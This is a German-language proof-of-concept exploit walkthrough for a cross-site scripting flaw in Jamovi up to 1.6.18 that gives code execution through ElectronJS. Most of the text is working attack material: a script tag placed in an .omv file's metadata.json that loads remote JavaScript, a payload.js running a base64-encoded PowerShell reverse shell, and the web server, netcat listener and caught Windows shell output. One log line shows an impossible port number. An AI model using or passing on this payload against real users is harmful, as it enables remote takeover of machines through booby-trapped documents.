
Proof-of-Concept-Exploit für XSS-Schwachstelle in Jamovi <=1.6.18. Demonstriert das Erstellen bösartiger .omv-Dokumente mit JavaScript-Payloads, um Remote-Codeausführung über ElectronJS zu erreichen.
Jamovi <=1.6.18 ist von einer Cross-Site-Scripting (XSS) Schwachstelle betroffen. Der Spaltenname ist im ElectronJS Framework anfällig für XSS. Ein Angreifer kann ein .omv (Jamovi) Dokument mit einem Payload erstellen. Wenn es vom Opfer geöffnet wird, wird der Payload ausgelöst.
🔥\> file example.omv
example.omv: Zip archive data, at least v2.0 to extract
Alle OMV-Dateien sind archivierte Daten. Sie können sie also entpacken und ändern, um den XSS-Fehler auszunutzen.
🔥\> unzip example.omv
Archive: example.omv
inflating: META-INF/MANIFEST.MF
inflating: index.html
inflating: metadata.json
inflating: xdata.json
inflating: data.bin
inflating: 01 empty/analysis
🔥\> ls
'01 empty' data.bin index.html metadata.json META-INF example.omv xdata.json
Bearbeiten Sie die Datei metadata.json und fügen Sie Ihren XSS-Payload hinzu.
🔥\> python3 -m json.tool metadata.json | head
{
"dataSet": {
"rowCount": 20,
"columnCount": 3,
"removedRows": [],
"addedRows": [],
"fields": [
{
"name": "<script src=\"http://10.x.x.x/payload.js\"></script>",
"id": 1,
Das Namensfeld ist anfällig für XSS, dort müssen wir unseren XSS-Payload hinzufügen. Achten Sie darauf, doppelte Anführungszeichen innerhalb des Skripts zu escapen. Bei erfolgreichem Exploit erreicht es unseren Webserver, auf dem unser eigentlicher Payload existiert. Das folgende JS-Skript können wir verwenden, um einen Befehl auszuführen und Shell-Zugriff zu erhalten.
require('child_process').exec('command')
Wenn es sich um Windows handelt, können Sie PowerShell verwenden, bei Linux einen Bash-One-Liner.
🔥\> cat payload.js
require('child_process').exec('powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AeAAuAHgALgB4ACIALAA0ADUANgA3ACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA==')
Oben ist ein Beispiel einer JS-Datei mit einem PowerShell-Befehl. Jetzt müssen wir es mit dieser aktualisierten metadata.json wieder zippen.
🔥\> zip -r example.omv .
adding: 01 empty/ (stored 0%)
adding: 01 empty/analysis (deflated 8%)
adding: index.html (deflated 67%)
adding: xdata.json (deflated 33%)
adding: metadata.json (deflated 78%)
adding: META-INF/ (stored 0%)
adding: META-INF/MANIFEST.MF (deflated 30%)
adding: data.bin (deflated 84%)
🔥\> file example.omv
example.omv: Zip archive data, at least v2.0 to extract
Webserver einrichten, um die Datei payload.js auszuliefern.
🔥\> sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
Netcat-Listener einrichten.
🔥\> rlwrap nc -lvnp 4567
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::4567
Ncat: Listening on 0.0.0.0:4567
Führen Sie nun die Datei 'example.omv' aus, um den XSS-Fehler auszunutzen, und überprüfen Sie Ihren Webserver auf einen Treffer und dann den Netcat-Listener.
🔥\> sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.x.x.x - - [31/Oct/2021 08:53:25] "GET /payload.js HTTP/1.1" 200 -
🔥\> rlwrap nc -lvnp 4567
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::4567
Ncat: Listening on 0.0.0.0:4567
Ncat: Connection from 10.x.x.x.
Ncat: Connection from 10.x.x.x:76544.
PS C:\Windows\system32> whoami
omni\localuser